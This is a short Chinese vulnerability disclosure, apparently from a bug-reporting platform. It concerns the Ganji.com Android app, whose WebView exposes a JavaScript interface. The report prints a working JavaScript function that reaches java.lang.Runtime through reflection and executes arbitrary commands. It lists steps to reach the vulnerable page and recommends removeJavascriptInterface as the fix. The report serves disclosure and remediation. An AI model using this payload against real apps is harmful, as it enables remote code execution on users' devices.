赶集网手机客户端,android版

参考: http://www.2cto.com/Article/201309/241271.html 

我的android系统是4.1.2
 

function execute(cmdArgs)
{
return Android.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

1,进入“通知”界面,随便点击一个链接,再通过里面某一些功能就可以了。

2,接口已出。
 

修复方案：

赶集网大公司不应该有这些低级漏洞

参见: 

http://www.2cto.com/Article/201309/241271.html  

解决方法: http://www.2cto.com/Article/201404/296370.html 

测试页面:http://drops.wooyun.org/webview.html

调用removeJavascriptInterface方法,删除接口。